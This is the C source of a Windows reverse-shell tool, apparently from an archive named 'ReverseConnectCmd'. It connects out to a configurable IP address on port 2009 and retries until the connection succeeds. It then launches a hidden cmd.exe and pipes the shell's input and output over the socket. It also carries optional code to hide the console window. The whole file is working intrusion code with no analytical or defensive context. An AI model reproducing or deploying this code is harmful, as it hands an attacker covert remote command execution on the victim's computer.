ISO-8859-1__ReverseConnectCmd.rar_8859-1_ISO 8859_connect_revers

/* _____ .__ ___. .__ __ __ / _ \ | |\_ |__ |__| ____ ____ _____| | ____ __ ____ | | __ / /_\ \| | | __ \| |/ \ / _ \/ ___/ |/ / | \/ \| |/ / / | \ |_| \_\ \ | | ( <_> )___ \| <| | / | \ < \____|__ /____/___ /__|___| /\____/____ >__|_ \____/|___| /__|_ \ \/ \/ \/ \/ \/ \/ \/ */ #include <winsock2.h> #include <stdio.h> //link ws2_32.lib #define BUFF_SIZE 1024 #define COMMAND_INTERPRETER "cmd.exe" // change this to "command.com" if used under a DOS enviroment. char IP [20] = "127.0.0.1"; int sendBuffer(HANDLE hPipe, SOCKET hSock); int recvBuffer(HANDLE hPipe, SOCKET hSock); void FreeResources(HANDLE hRead, HANDLE hWrite, PROCESS_INFORMATION *pi) { CloseHandle(hRead); CloseHandle(hWrite); TerminateProcess(pi->hProcess, 0); WSACleanup(); } int main(void) { /*hide window functionality, un-comment to use*/ /*HWND stealth; AllocConsole(); stealth=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0);*/ WSADATA wsaData; SOCKET hSock; sockaddr_in sin = {0}, rsin; int addr_len = sizeof(sockaddr_in); DWORD dwErr, dwRet; HANDLE hOutputRd, hOutputWr, hInputRd, hInputWr; SECURITY_ATTRIBUTES sa = {sizeof(SECURITY_ATTRIBUTES)}; STARTUPINFO si={0}; PROCESS_INFORMATION pi={0}; WSAStartup(0x101, &wsaData); struct sockaddr_in sock_addr; int ERR; hSock = socket(AF_INET, SOCK_STREAM, 0); sock_addr.sin_port = htons(2009); sock_addr.sin_family = AF_INET; sock_addr.sin_addr.s_addr = inet_addr(IP); do { ERR = connect(hSock,(struct sockaddr*) &sock_addr, sizeof( sock_addr )); Sleep(1000); } while (ERR == SOCKET_ERROR); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; if(!CreatePipe(&hOutputRd, &hOutputWr, &sa, NULL)) { dwErr = GetLastError(); printf("ERROR: Pipe creation failed! (Code %d)\n", dwErr); return -1; } if(!CreatePipe(&hInputRd, &hInputWr, &sa, NULL)) { dwErr = GetLastError(); printf("ERROR: Pipe creation failed! (Code %d)\n", dwErr); return -1; } GetStartupInfo(&si); si.hStdError = hOutputWr; si.hStdOutput = hOutputWr; si.hStdInput = hInputRd; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; if(!CreateProcess(NULL, TEXT(COMMAND_INTERPRETER), NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { dwErr = GetLastError(); printf("ERROR: Process creation failed! (Code %d)\n", dwErr); return -1; } CloseHandle(hOutputWr); CloseHandle(hInputRd); printf("Connection estabilished with Remote Computer"); for(;;) { do { dwRet = sendBuffer(hOutputRd, hSock); if(dwRet == -1) { FreeResources(hOutputRd, hInputWr, &pi); break; } } while (dwRet != FALSE); dwRet = recvBuffer(hInputWr, hSock); if(dwRet == -1) { FreeResources(hOutputRd, hInputWr, &pi); break; } } printf("Connection closed, exiting...\n"); return 0; } int sendBuffer(HANDLE hPipe, SOCKET hSock) { TCHAR szBuffer[BUFF_SIZE]; DWORD nBytesAvail; if(!PeekNamedPipe(hPipe, NULL, BUFF_SIZE, &nBytesAvail, 0, 0) || nBytesAvail == 0) return FALSE; if(!ReadFile(hPipe, szBuffer, nBytesAvail, &nBytesAvail, 0)) return -1; if(send(hSock, szBuffer, nBytesAvail, 0) == SOCKET_ERROR) return FALSE; Sleep(50); return TRUE; } int recvBuffer(HANDLE hPipe, SOCKET hSock) { TCHAR szBuffer[BUFF_SIZE]; DWORD nBytesAvail, nBytesWritten; nBytesAvail = recv(hSock, szBuffer, BUFF_SIZE, 0); printf (szBuffer); if(nBytesAvail == SOCKET_ERROR) return FALSE; if(nBytesAvail == 0) return -1; if(!WriteFile(hPipe, szBuffer, nBytesAvail, &nBytesWritten, NULL)) return FALSE; Sleep(50); return TRUE; }